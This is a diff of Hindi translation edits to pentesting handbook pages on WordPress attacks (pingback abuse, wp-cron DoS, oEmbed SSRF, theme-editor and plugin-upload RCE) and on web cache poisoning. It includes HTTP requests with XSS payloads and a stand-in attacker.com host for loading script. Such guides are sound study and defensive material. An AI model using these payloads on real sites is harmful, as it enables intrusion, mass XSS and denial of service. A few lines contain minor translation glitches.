-यदि आपको **faultCode** एक मान **greater** फिर **0** (17) मिलता है, तो इसका मतलब है कि पोर्ट खुला है। +यदि आपको **faultCode** एक मान **0** (17) से **बड़ा** मिलता है, तो इसका मतलब है कि पोर्ट खुला है। -DDoS का कारण बनने के लिए इस विधि का दुरुपयोग करने के लिए पिछले अनुभाग में **`system.multicall`** के उपयोग पर एक नज़र डालें। +DDoS का कारण बनने के लिए इस विधि का दुरुपयोग करने के लिए पिछले अनुभाग में **`system.multicall`** के उपयोग पर ध्यान दें। **DDoS** -```markup +```html pingback.ping @@ -210,16 +210,16 @@ DDoS का कारण बनने के लिए इस विधि क ### wp-cron.php DoS यह फ़ाइल आमतौर पर Wordpress साइट की जड़ के तहत मौजूद होती है: **`/wp-cron.php`**\ -जब इस फ़ाइल को **एक्सेस** किया जाता है, तो एक "**भारी**" MySQL **क्वेरी** निष्पादित होती है, इसलिए इसे **हमलावरों** द्वारा **DoS** **कारण** के लिए उपयोग किया जा सकता है।\ -इसके अलावा, डिफ़ॉल्ट रूप से, `wp-cron.php` हर पृष्ठ लोड पर (जब भी एक क्लाइंट किसी भी Wordpress पृष्ठ का अनुरोध करता है) कॉल किया जाता है, जो उच्च-ट्रैफ़िक साइटों पर समस्याएँ पैदा कर सकता है (DoS)। +जब इस फ़ाइल को **एक्सेस** किया जाता है, तो एक "**भारी**" MySQL **क्वेरी** चलाई जाती है, इसलिए इसे **हमलावरों** द्वारा **DoS** **कारण** के लिए उपयोग किया जा सकता है।\ +इसके अलावा, डिफ़ॉल्ट रूप से, `wp-cron.php` हर पृष्ठ लोड पर (जब भी कोई क्लाइंट कोई Wordpress पृष्ठ मांगता है) कॉल किया जाता है, जो उच्च-ट्रैफ़िक साइटों पर समस्याएँ पैदा कर सकता है (DoS)। -Wp-Cron को निष्क्रिय करने और होस्ट के अंदर एक वास्तविक क्रोनजॉब बनाने की सिफारिश की जाती है जो नियमित अंतराल पर आवश्यक क्रियाएँ करता है (बिना समस्याएँ पैदा किए)। +Wp-Cron को अक्षम करना और होस्ट के अंदर एक वास्तविक क्रोनजॉब बनानाrecommended है जो नियमित अंतराल पर आवश्यक क्रियाएँ करता है (बिना समस्याएँ पैदा किए)। ### /wp-json/oembed/1.0/proxy - SSRF -_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ तक पहुँचने की कोशिश करें और Worpress साइट आपसे अनुरोध कर सकती है। +_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ तक पहुँचने की कोशिश करें और Worpress साइट आपसे एक अनुरोध कर सकती है। -यह प्रतिक्रिया है जब यह काम नहीं करता: +जब यह काम नहीं करता है तो यह प्रतिक्रिया होती है: ![](<../../images/image (365).png>) @@ -229,7 +229,7 @@ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt1 https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -यह उपकरण जांचता है कि **methodName: pingback.ping** और पथ **/wp-json/oembed/1.0/proxy** मौजूद है या नहीं, और यदि यह मौजूद है, तो यह उनका शोषण करने की कोशिश करता है। +यह उपकरण जांचता है कि **methodName: pingback.ping** और पथ **/wp-json/oembed/1.0/proxy** मौजूद है या नहीं, और यदि यह मौजूद है, तो यह उन्हें शोषण करने की कोशिश करता है। ## Automatic Tools ```bash @@ -246,9 +246,9 @@ return new WP_Error( ``` ## **पैनल RCE** -**थीम से एक php को संशोधित करना (प्रशासनिक क्रेडेंशियल्स की आवश्यकता है)** +**थीम से एक php को संशोधित करना (प्रशासनिक क्रेडेंशियल्स की आवश्यकता)** -Appearance → Theme Editor → 404 Template (दाईं ओर) +दृश्य → थीम संपादक → 404 टेम्पलेट (दाईं ओर) एक php शेल के लिए सामग्री बदलें: @@ -277,7 +277,7 @@ to get a session. ![](<../../images/image (722).png>) -प्लगइन अपलोड करें और Install Now दबाएं: +प्लगइन अपलोड करें और Install Now पर क्लिक करें: ![](<../../images/image (249).png>) @@ -295,25 +295,25 @@ Procced पर क्लिक करें: ### Uploading and activating malicious plugin -यह विधि एक दुर्बलता के लिए ज्ञात एक दुर्भावनापूर्ण प्लगइन के इंस्टॉलेशन को शामिल करती है और इसे वेब शेल प्राप्त करने के लिए शोषित किया जा सकता है। यह प्रक्रिया WordPress डैशबोर्ड के माध्यम से इस प्रकार की जाती है: +यह विधि एक ज्ञात कमजोर दुर्भावनापूर्ण प्लगइन के इंस्टॉलेशन से संबंधित है जिसे वेब शेल प्राप्त करने के लिए शोषित किया जा सकता है। यह प्रक्रिया WordPress डैशबोर्ड के माध्यम से इस प्रकार की जाती है: 1. **Plugin Acquisition**: प्लगइन को Exploit DB जैसे स्रोत से प्राप्त किया जाता है जैसे [**यहां**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installation**: - WordPress डैशबोर्ड पर जाएं, फिर `Dashboard > Plugins > Upload Plugin` पर जाएं। - डाउनलोड किए गए प्लगइन की zip फ़ाइल अपलोड करें। -3. **Plugin Activation**: एक बार जब प्लगइन सफलतापूर्वक स्थापित हो जाए, तो इसे डैशबोर्ड के माध्यम से सक्रिय करना होगा। +3. **Plugin Activation**: एक बार प्लगइन सफलतापूर्वक स्थापित हो जाने के बाद, इसे डैशबोर्ड के माध्यम से सक्रिय करना होगा। 4. **Exploitation**: -- "reflex-gallery" प्लगइन स्थापित और सक्रिय होने पर, इसे शोषित किया जा सकता है क्योंकि यह ज्ञात है कि यह दुर्बल है। -- Metasploit ढांचा इस दुर्बलता के लिए एक शोषण प्रदान करता है। उपयुक्त मॉड्यूल को लोड करके और विशिष्ट कमांड निष्पादित करके, एक मीटरप्रेटर सत्र स्थापित किया जा सकता है, जो साइट पर अनधिकृत पहुंच प्रदान करता है। +- "reflex-gallery" प्लगइन स्थापित और सक्रिय होने पर, इसे शोषित किया जा सकता है क्योंकि यह ज्ञात है कि यह कमजोर है। +- Metasploit ढांचा इस कमजोरी के लिए एक शोषण प्रदान करता है। उपयुक्त मॉड्यूल को लोड करके और विशिष्ट कमांड निष्पादित करके, एक मीटरप्रेटर सत्र स्थापित किया जा सकता है, जो साइट पर अनधिकृत पहुंच प्रदान करता है। - यह नोट किया गया है कि यह WordPress साइट को शोषित करने के कई तरीकों में से एक है। -सामग्री में WordPress डैशबोर्ड में प्लगइन स्थापित करने और सक्रिय करने के चरणों को दर्शाने वाले दृश्य सहायता शामिल हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि इस तरीके से दुर्बलताओं का शोषण करना बिना उचित प्राधिकरण के अवैध और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे कि स्पष्ट अनुमति के साथ पेनटेस्टिंग। +सामग्री में WordPress डैशबोर्ड में प्लगइन स्थापित करने और सक्रिय करने के चरणों को दर्शाने वाले दृश्य सहायता शामिल हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि इस तरीके से कमजोरियों का शोषण करना बिना उचित प्राधिकरण के अवैध और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे कि स्पष्ट अनुमति के साथ पेनटेस्टिंग। **अधिक विस्तृत चरणों के लिए देखें:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक स्क्रिप्ट है जिसे **Cross-Site Scripting (XSS)** दुर्बलता को **Remote Code Execution (RCE)** या अन्य महत्वपूर्ण दुर्बलताओं में बढ़ाने के लिए डिज़ाइन किया गया है। अधिक जानकारी के लिए [**इस पोस्ट**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) की जांच करें। यह **Wordpress Versions 6.X.X, 5.X.X और 4.X.X के लिए समर्थन प्रदान करता है और अनुमति देता है:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक स्क्रिप्ट है जिसे **Cross-Site Scripting (XSS)** कमजोरी को **Remote Code Execution (RCE)** या अन्य महत्वपूर्ण कमजोरियों में बढ़ाने के लिए डिज़ाइन किया गया है। अधिक जानकारी के लिए [**इस पोस्ट**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) की जांच करें। यह **Wordpress Versions 6.X.X, 5.X.X और 4.X.X के लिए समर्थन प्रदान करता है और अनुमति देता है:** - _**Privilege Escalation:**_ WordPress में एक उपयोगकर्ता बनाता है। - _**(RCE) Custom Plugin (backdoor) Upload:**_ अपने कस्टम प्लगइन (बैकडोर) को WordPress में अपलोड करें। - _**(RCE) Built-In Plugin Edit:**_ WordPress में एक अंतर्निहित प्लगइन को संपादित करें। @@ -338,9 +338,9 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE - **`wp_ajax`** -एक प्लगइन उपयोगकर्ताओं के लिए कार्यों को उजागर करने के तरीकों में से एक AJAX हैंडलर्स के माध्यम से है। इनमें लॉजिक, प्राधिकरण, या प्रमाणीकरण बग हो सकते हैं। इसके अलावा, यह अक्सर होता है कि ये कार्य प्रमाणीकरण और प्राधिकरण दोनों को एक Wordpress nonce के अस्तित्व पर आधारित करते हैं जो **किसी भी उपयोगकर्ता के पास हो सकता है जो Wordpress उदाहरण में प्रमाणित है** (इसके भूमिका के स्वतंत्र)। +एक प्लगइन उपयोगकर्ताओं के लिए कार्यों को उजागर करने के तरीकों में से एक AJAX हैंडलर्स के माध्यम से है। इनमें लॉजिक, प्राधिकरण, या प्रमाणीकरण बग हो सकते हैं। इसके अलावा, यह अक्सर होता है कि ये कार्य प्रमाणीकरण और प्राधिकरण दोनों को एक Wordpress nonce के अस्तित्व पर आधारित करते हैं जिसे **किसी भी उपयोगकर्ता ने Wordpress उदाहरण में प्रमाणित किया हो सकता है** (इसके भूमिका के स्वतंत्र)। -ये वे कार्य हैं जो एक प्लगइन में एक कार्य को उजागर करने के लिए उपयोग किए जा सकते हैं: +ये वे कार्य हैं जिन्हें एक प्लगइन में कार्य को उजागर करने के लिए उपयोग किया जा सकता है: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); @@ -352,7 +352,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); - **REST API** -यह `register_rest_route` फ़ंक्शन का उपयोग करके वर्डप्रेस से फ़ंक्शन को उजागर करना भी संभव है: +यह `register_rest_route` फ़ंक्शन का उपयोग करके वर्डप्रेस से फ़ंक्शंस को उजागर करना भी संभव है: ```php register_rest_route( $this->namespace, '/get/', array( @@ -362,13 +362,13 @@ $this->namespace, '/get/', array( ) ); ``` -`permission_callback` एक फ़ंक्शन के लिए कॉलबैक है जो यह जांचता है कि क्या एक निर्दिष्ट उपयोगकर्ता API विधि को कॉल करने के लिए अधिकृत है। +`permission_callback` एक ऐसा कॉलबैक है जो यह जांचता है कि क्या एक निर्दिष्ट उपयोगकर्ता API विधि को कॉल करने के लिए अधिकृत है। **यदि अंतर्निहित `__return_true` फ़ंक्शन का उपयोग किया जाता है, तो यह बस उपयोगकर्ता अनुमतियों की जांच को छोड़ देगा।** - **php फ़ाइल तक सीधी पहुँच** -बेशक, Wordpress PHP का उपयोग करता है और प्लगइन्स के अंदर फ़ाइलें सीधे वेब से सुलभ होती हैं। इसलिए, यदि कोई प्लगइन किसी कमजोर कार्यक्षमता को उजागर कर रहा है जो फ़ाइल को एक्सेस करने पर सक्रिय होती है, तो इसे किसी भी उपयोगकर्ता द्वारा शोषित किया जा सकता है। +बेशक, Wordpress PHP का उपयोग करता है और प्लगइन्स के अंदर फ़ाइलें सीधे वेब से सुलभ होती हैं। इसलिए, यदि कोई प्लगइन किसी कमजोर कार्यक्षमता को उजागर कर रहा है जो केवल फ़ाइल को एक्सेस करने पर सक्रिय होती है, तो इसे किसी भी उपयोगकर्ता द्वारा शोषित किया जा सकता है। ## WordPress सुरक्षा @@ -380,7 +380,7 @@ define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Also, **केवल विश्वसनीय WordPress प्लगइन्स और थीम्स स्थापित करें**। +Also, **केवल विश्वसनीय WordPress प्लगइन्स और थीम्स इंस्टॉल करें**। ### सुरक्षा प्लगइन्स diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index ecb96b5ed..ff00cd4df 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -13,11 +13,11 @@ कैश पॉइज़निंग का उद्देश्य क्लाइंट-साइड कैश को इस तरह से हेरफेर करना है कि क्लाइंट अप्रत्याशित, आंशिक, या हमलावर के नियंत्रण में संसाधनों को लोड करने के लिए मजबूर हों। प्रभाव की सीमा प्रभावित पृष्ठ की लोकप्रियता पर निर्भर करती है, क्योंकि दूषित प्रतिक्रिया केवल उन उपयोगकर्ताओं को प्रदान की जाती है जो कैश संदूषण के दौरान पृष्ठ पर जाते हैं। -कैश पॉइज़निंग हमले का निष्पादन कई चरणों में होता है: +कैश पॉइज़निंग हमले का कार्यान्वयन कई चरणों में होता है: -1. **अनकीद इनपुट की पहचान**: ये ऐसे पैरामीटर हैं जो, हालांकि कैश में अनुरोध के लिए आवश्यक नहीं हैं, सर्वर द्वारा लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को हेरफेर करने के लिए उपयोग किया जा सकता है। -2. **अनकीद इनपुट का शोषण**: अनकीद इनपुट की पहचान करने के बाद, अगला कदम यह पता लगाना है कि इन पैरामीटरों का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो। -3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम कदम यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, कैश संदूषण के दौरान प्रभावित पृष्ठ तक पहुंचने वाला कोई भी उपयोगकर्ता दूषित प्रतिक्रिया प्राप्त करेगा। +1. **अनकीड इनपुट की पहचान**: ये ऐसे पैरामीटर हैं जो, हालांकि कैश में अनुरोध के लिए आवश्यक नहीं हैं, सर्वर द्वारा लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को हेरफेर करने के लिए उपयोग किया जा सकता है। +2. **अनकीड इनपुट का शोषण**: अनकीड इनपुट की पहचान करने के बाद, अगला कदम यह पता लगाना है कि इन पैरामीटरों का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो। +3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम कदम यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, कैश संदूषित होने के दौरान प्रभावित पृष्ठ को एक्सेस करने वाला कोई भी उपयोगकर्ता दूषित प्रतिक्रिया प्राप्त करेगा। ### खोज: HTTP हेडर की जांच करें @@ -25,7 +25,7 @@ ### खोज: कैशिंग त्रुटि कोड -यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर की जा रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ प्रतिक्रिया दी जानी चाहिए। फिर सामान्य रूप से अनुरोध तक पहुंचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह संवेदनशील है (और आप यहां तक कि DoS भी कर सकते हैं)। +यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर की जा रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ प्रतिक्रिया दी जानी चाहिए। फिर सामान्य रूप से अनुरोध तक पहुँचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह संवेदनशील है (और आप एक DoS भी कर सकते हैं)। आप अधिक विकल्प पा सकते हैं: @@ -35,10 +35,10 @@ cache-poisoning-to-dos.md हालांकि, ध्यान दें कि **कभी-कभी इस प्रकार के स्थिति कोड कैश नहीं होते** इसलिए यह परीक्षण विश्वसनीय नहीं हो सकता। -### खोज: अनकीद इनपुट की पहचान और मूल्यांकन करें +### खोज: अनकीड इनपुट की पहचान और मूल्यांकन करें आप [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) का उपयोग कर सकते हैं **पैरामीटर और हेडर को ब्रूट-फोर्स करने** के लिए जो **पृष्ठ की प्रतिक्रिया को बदल सकते हैं**। उदाहरण के लिए, एक पृष्ठ `X-Forwarded-For` हेडर का उपयोग कर सकता है यह संकेत देने के लिए कि क्लाइंट को वहां से स्क्रिप्ट लोड करना है: -```markup +```html ``` ### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया प्राप्त करें @@ -49,29 +49,29 @@ cache-poisoning-to-dos.md एक बार जब आप उस **पृष्ठ** की **पहचान** कर लेते हैं जिसे दुरुपयोग किया जा सकता है, किस **पैरामीटर**/**हेडर** का उपयोग करना है और **कैसे** इसका दुरुपयोग करना है, तो आपको पृष्ठ को कैश करना होगा। जिस संसाधन को आप कैश में प्राप्त करने की कोशिश कर रहे हैं, उसके आधार पर इसमें कुछ समय लग सकता है, आपको कई सेकंड तक प्रयास करने की आवश्यकता हो सकती है। -प्रतिक्रिया में **`X-Cache`** हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें **`miss`** का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और **`hit`** का मान जब इसे कैश किया गया है।\ +प्रतिक्रिया में **`X-Cache`** हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें **`miss`** का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और **`hit`** का मान जब यह कैश किया गया है।\ हेडर **`Cache-Control`** यह जानने के लिए भी दिलचस्प है कि क्या कोई संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800` -एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **संकेतित करने** के लिए उपयोग किया जाता है जो **कैश कुंजी** का **भाग** माने जाते हैं, भले ही वे सामान्यतः अनकुंजीकृत हों। इसलिए, यदि उपयोगकर्ता लक्षित पीड़ित का `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है। +एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **संकेतित करने** के लिए उपयोग किया जाता है जो **कैश कुंजी** के भाग के रूप में माना जाता है, भले ही वे सामान्यतः अनकुंजीकृत हों। इसलिए, यदि उपयोगकर्ता लक्षित पीड़ित का `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है। कैश से संबंधित एक और हेडर **`Age`** है। यह परिभाषित करता है कि वस्तु प्रॉक्सी कैश में कितने सेकंड से है। -अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कीड** के रूप में **उपयोग** किए जा सकते हैं और **पीड़ित को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि यह काम कर रहा है या नहीं। +अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कुंजीबद्ध** के रूप में उपयोग किए जा सकते हैं और **पीड़ित को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि यह काम कर रहा है या नहीं। ## शोषण के उदाहरण ### सबसे आसान उदाहरण -एक हेडर जैसे `X-Forwarded-For` को प्रतिक्रिया में असैनिटाइज्ड रूप से प्रतिबिंबित किया जा रहा है।\ +एक हेडर जैसे `X-Forwarded-For` को प्रतिक्रिया में असैनिटाइज्ड रूप में प्रतिबिंबित किया जा रहा है।\ आप एक बुनियादी XSS पेलोड भेज सकते हैं और कैश को विषाक्त कर सकते हैं ताकि जो कोई भी पृष्ठ तक पहुँचता है वह XSS हो जाएगा: -```markup +```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` _ध्यान दें कि यह `/en?region=uk` के लिए एक अनुरोध को विषाक्त करेगा, `/en` के लिए नहीं_ -### DoS के लिए कैश विषाक्त करना +### DoS के लिए कैश विषाक्तता {{#ref}} cache-poisoning-to-dos.md @@ -80,14 +80,14 @@ cache-poisoning-to-dos.md ### कुकी-हैंडलिंग कमजोरियों का लाभ उठाने के लिए वेब कैश विषाक्तता का उपयोग करना कुकीज़ को एक पृष्ठ की प्रतिक्रिया पर भी परिलक्षित किया जा सकता है। यदि आप इसका दुरुपयोग करके उदाहरण के लिए XSS का कारण बन सकते हैं, तो आप उन कई क्लाइंट्स में XSS का लाभ उठाने में सक्षम हो सकते हैं जो दुर्भावनापूर्ण कैश प्रतिक्रिया को लोड करते हैं। -```markup +```html GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` ध्यान दें कि यदि कमजोर कुकी का उपयोग उपयोगकर्ताओं द्वारा बहुत अधिक किया जाता है, तो नियमित अनुरोध कैश को साफ कर देंगे। -### सीमाओं, सामान्यीकरण और बिंदुओं के साथ विसंगतियों का निर्माण +### डेलिमिटर्स, सामान्यीकरण और डॉट्स के साथ विसंगतियों का निर्माण जांचें: @@ -107,8 +107,8 @@ cache-poisoning-via-url-discrepancies.md ### वेब कैश विषाक्तता कमजोरियों का शोषण करने के लिए कई हेडर का उपयोग करना -कभी-कभी आपको **कैश का दुरुपयोग करने** के लिए **कई बिना कुंजी वाले इनपुट** का **शोषण** करने की आवश्यकता होगी। उदाहरण के लिए, आप एक **Open redirect** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **आगे बढ़ा रहा है** और `X-Forwarded-Scheme` हेडर का उपयोग रीडायरेक्ट के लिए डोमेन नाम के रूप में कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं। -```markup +कभी-कभी आपको **कैश का दुरुपयोग करने** के लिए **कई अनकुंजीकृत इनपुट** का **शोषण** करने की आवश्यकता होगी। उदाहरण के लिए, आप एक **Open redirect** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **आगे बढ़ा रहा है** और `X-Forwarded-Scheme` हेडर का उपयोग रीडायरेक्ट के लिए डोमेन नाम के रूप में कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं। +```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ @@ -116,8 +116,8 @@ X-Forwarded-Scheme: http ``` ### सीमित `Vary` हेडर के साथ शोषण -यदि आप पाते हैं कि **`X-Host`** हेडर **JS संसाधन लोड करने के लिए डोमेन नाम के रूप में** उपयोग किया जा रहा है लेकिन प्रतिक्रिया में **`Vary`** हेडर **`User-Agent`** को इंगित कर रहा है। तो, आपको पीड़ित के User-Agent को बाहर निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को विषाक्त करने का एक तरीका खोजना होगा: -```markup +यदि आप पाते हैं कि **`X-Host`** हेडर **JS संसाधन लोड करने के लिए डोमेन नाम** के रूप में उपयोग किया जा रहा है लेकिन प्रतिक्रिया में **`Vary`** हेडर **`User-Agent`** को इंगित कर रहा है। तो, आपको पीड़ित के User-Agent को निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को विषाक्त करने का एक तरीका खोजना होगा: +```html GET / HTTP/1.1 Host: vulnerbale.net User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM @@ -125,7 +125,7 @@ X-Host: attacker.com ``` ### Fat Get -URL में अनुरोध और शरीर में अनुरोध के साथ GET अनुरोध भेजें। यदि वेब सर्वर शरीर से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक को कैश करता है, तो कोई भी उस URL तक पहुँचने पर वास्तव में शरीर से पैरामीटर का उपयोग करेगा। जैसे कि vuln जो जेम्स केटल ने Github वेबसाइट पर पाया: +URL में अनुरोध और शरीर में अनुरोध के साथ GET अनुरोध भेजें। यदि वेब सर्वर शरीर से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक को कैश करता है, तो कोई भी उस URL तक पहुँचने पर वास्तव में शरीर से पैरामीटर का उपयोग करेगा। जैसे कि कमजोरियों को जेम्स केटल ने Github वेबसाइट पर पाया: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -144,7 +144,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo ### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling -यहां जानें कि कैसे [Cache Poisoning हमलों को HTTP Request Smuggling का दुरुपयोग करके किया जाता है](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)। +यहां जानें कि [Cache Poisoning हमलों को HTTP Request Smuggling का दुरुपयोग करके कैसे किया जाए](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)। ### Automated testing for Web Cache Poisoning @@ -164,7 +164,7 @@ ATS ने URL के अंदर के अंश को बिना हट ### GitLab + GCP CP-DoS -GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। **GCP Buckets** **`x-http-method-override`** हेडर का समर्थन करते हैं। इसलिए हेडर `x-http-method-override: HEAD` भेजना संभव था और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए विषाक्त करना संभव था। यह `PURGE` विधि का भी समर्थन कर सकता था। +GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। **GCP Buckets** **हेडर `x-http-method-override`** का समर्थन करते हैं। इसलिए हेडर `x-http-method-override: HEAD` भेजना संभव था और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए विषाक्त करना संभव था। यह `PURGE` विधि का भी समर्थन कर सकता था। ### Rack Middleware (Ruby on Rails) @@ -172,11 +172,11 @@ Ruby on Rails अनुप्रयोगों में, Rack मिडलव ### 403 and Storage Buckets -Cloudflare ने पहले 403 प्रतिक्रियाओं को कैश किया। गलत प्राधिकरण हेडर के साथ S3 या Azure Storage Blobs तक पहुँचने का प्रयास करने पर 403 प्रतिक्रिया उत्पन्न होती थी जो कैश हो जाती थी। हालांकि Cloudflare ने 403 प्रतिक्रियाओं को कैश करना बंद कर दिया है, यह व्यवहार अन्य प्रॉक्सी सेवाओं में अभी भी मौजूद हो सकता है। +Cloudflare ने पहले 403 प्रतिक्रियाओं को कैश किया था। गलत प्राधिकरण हेडर के साथ S3 या Azure Storage Blobs तक पहुंचने का प्रयास करने पर 403 प्रतिक्रिया उत्पन्न होती थी जो कैश हो जाती थी। हालांकि Cloudflare ने 403 प्रतिक्रियाओं को कैश करना बंद कर दिया है, यह व्यवहार अन्य प्रॉक्सी सेवाओं में अभी भी मौजूद हो सकता है। ### Injecting Keyed Parameters -कैश अक्सर कैश कुंजी में विशिष्ट GET पैरामीटर शामिल करते हैं। उदाहरण के लिए, Fastly का Varnish अनुरोधों में `size` पैरामीटर को कैश करता है। हालाँकि, यदि पैरामीटर का URL-encoded संस्करण (जैसे, `siz%65`) भी एक गलत मान के साथ भेजा गया, तो कैश कुंजी सही `size` पैरामीटर का उपयोग करके बनाई जाएगी। फिर भी, बैकएंड URL-encoded पैरामीटर में मान को संसाधित करेगा। दूसरे `size` पैरामीटर को URL-encode करने से इसे कैश द्वारा छोड़ दिया गया लेकिन बैकएंड द्वारा उपयोग किया गया। इस पैरामीटर को 0 का मान असाइन करने से कैशेबल 400 Bad Request त्रुटि उत्पन्न हुई। +कैश अक्सर कैश कुंजी में विशिष्ट GET पैरामीटर शामिल करते हैं। उदाहरण के लिए, Fastly का Varnish अनुरोधों में `size` पैरामीटर को कैश करता है। हालाँकि, यदि पैरामीटर का URL-कोडित संस्करण (जैसे, `siz%65`) भी एक गलत मान के साथ भेजा गया, तो कैश कुंजी सही `size` पैरामीटर का उपयोग करके बनाई जाएगी। फिर भी, बैकएंड URL-कोडित पैरामीटर में मान को संसाधित करेगा। दूसरे `size` पैरामीटर को URL-कोडिंग करने से इसे कैश द्वारा छोड़ दिया गया लेकिन बैकएंड द्वारा उपयोग किया गया। इस पैरामीटर को 0 का मान असाइन करने से कैशेबल 400 Bad Request त्रुटि 